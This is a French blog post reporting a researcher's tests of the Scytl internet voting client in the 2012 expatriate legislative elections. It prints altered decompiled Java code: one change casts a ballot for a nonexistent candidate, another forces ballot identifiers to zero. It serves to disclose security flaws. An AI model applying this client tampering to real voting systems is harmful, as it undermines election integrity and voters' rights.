Aujourd’hui se tient le premier tour des législatives en France métropolitaine. Pour les Français établis à l’étranger cependant on en est déjà à la tenue du second tour sur Internet. L’occasion pour Laurent Grégoire de continuer à mettre à l’épreuve le vote par Internet… Et ce qu’il a trouvé est pire encore que lors du premier tour.

Toujours en se servant d’une injection de code il a cette fois essayé de prouver que l’on pouvait influer sur le contenu de son propre vote pour voir si le système était suffisamment bien conçu (spoiler : il ne l’est pas) pour tenir compte du cas de figure « je suis un méchant et je veux truquer le vote ».

Voter pour un candidat fantôme

Le candidat du Parti Pirate n’ayant pas recueilli suffisamment de votes pour se maintenir au second tour il n’était pas présent dans les choix proposés cette fois-ci. Les propositions restantes étaient l’UMP, le PS ou le vote blanc.

Qu’à celà ne tienne, ajouter un candidat n’est pas bien compliqué, il suffit d’un put :

———[com.scytl.pnyx.client.communication.application.MessagesProtocol]———

…

public VoteReceipt doCastVote(ClientData clientData) throws ApplicationProtocolException, PnyxProtocolException

{

Map<String, QuestionAnswer> vote = clientData.getTrustedBallot().getBallotAnswers();

for (Map.Entry<String, QuestionAnswer> kv : vote.entrySet()) {

ValuedMultipleChoiceQuestionAnswer qa = (ValuedMultipleChoiceQuestionAnswer)kv.getValue();

Map<String, String> answers = qa.getAnswerIdValues();

for (Map.Entry<String, String> kv2 : answers.entrySet()) {

kv2.setValue(null); // AUCUN VOTE

}

answers.put(« ff808081375acd2201375adad63d037a », « 1 »); // CANDIDAT PIRATE INEXISTANT

}

ClientDataManager clientDataMgr = new ClientDataManager(clientData);

String response = this._transport.sendMessage(this._secureMessageMessage.createMessage(clientDataMgr),

this._destinations.getPnyxCastVoteAction());

JOptionPane.showMessageDialog(JFrame.getFrames()[0], response); // AFFICHAGE DE LA REPONSE XML

return this._secureMessageMessage.parseResponse(response, clientDataMgr);

}

…

On pourrait penser que le machin ait la bête idée de vérifier que le vote que l’on vient d’envoyer est bien parmi les propositions valides… Ce serait sans compter sur la compétence de Scytl !

Non seulement le vote est accepté mais le tout fournit un beau reçu de vote valide à la fin de la procédure… Le total des votes sera donc supérieur d’au moins une voix au cumule des votes exprimés pour les candidats réellement en lice : UMP + PS + Blanc = total -1…

Le vote nul est-il prévu par le système de décompte ? On verra ça au dépouillement avec le reçu de vote… Et justement puisqu’on en parle !

L’identifiant de bulletin

Dans le système utilisé chaque vote a un identifiant donné généré de façon pseudo-aléatoire sur 24 octets. Laurent a eu la bonne idée de tester de modifier la génération de ce chiffre pseudo-aléatoire pour que la fonction qui le créé renvoie toujours 0x00 (zéro en hexadécimal).

Bien entendu l’applet n’y voit que du feu et laisse le vote se dérouler de façon classique. Et ce jusqu’à la fin, à la génération du reçu de vote qui étrangement se retrouve à avoir un identifiant qui vaut AAAAAAAAA. Il y a donc fort à parier que ce reçu est calculé en fonction de l’identifiant précédemment altéré. En poussant le vice on peut aussi supposer que la somme de contrôle en dessous (qui sert à vérifier son vote à postériori) est générée de la même façon.

Mais plus grave, cet identifiant de vote (qui sert à générer l’identifiant de reçu) étant tiré de façon pseudo-aléatoire dans un pool de 26^10 possibilités peut présenter des risques de collision (probabilité de collision de 1 – e^(-(n^2/(2 x 26^10)))) : deux votants pourraient avoir le même identifiant. Pour être précis, avec nos 700.000 inscrits le risque est de 0.17% sur le scrutin actuel, plus élevé si l’on envisage un scrutin à plus grande échelle… Comment réagirait le système dans ce cas ? Bah vérifiez vous même en vous attribuant l’identifiant 0x00 :

————–com.scytl.crypto.CryptographicAlgorithms————-

…

private byte[] encryption(int paramInt, byte[] paramArrayOfByte,

Key paramKey, String paramString) {

try {

Cipher cipher = Cipher.getInstance(paramString);

paramString = null;

byte[] buf = null;

if (cipher.getBlockSize() > 0) {

buf = new byte[cipher.getBlockSize()];

this._secureRandom.nextBytes(buf); cipher.init(1, paramKey, new IvParameterSpec(buf)); buf = packSymetricMsg(buf,

cipher.doFinal(paramArrayOfByte));

} else {

cipher.init(1, paramKey);

buf = cipher.doFinal(paramArrayOfByte);

}

return buf;

} catch (GeneralSecurityException e) {

throw new RuntimeException(e);

}

}

… public final byte[] generateRandom(int length) {

byte[] randomBytes = new byte[length];

//this._secureRandom.nextBytes(randomBytes);

for (int i = 0; i < length; i++)

randomBytes[i] = 0x00;

return randomBytes;

}

…

Conclusion

Voici donc un vote qui s’est déroulé impéccablement alors même que l’identifiant du vote a été changé et que le candidat pour lequel le vote a été exprimé n’est pas présent dans les choix. C’est à se demander s’il ne serait pas possible de voter pour un candidat d’une autre circonscription en utilisant tous le même identifiant de bulletin…

La suite au dépouillement pour voir comment le système va avoir géré les bugs et comment le ministère va justifier l’injustifiable cette fois-ci…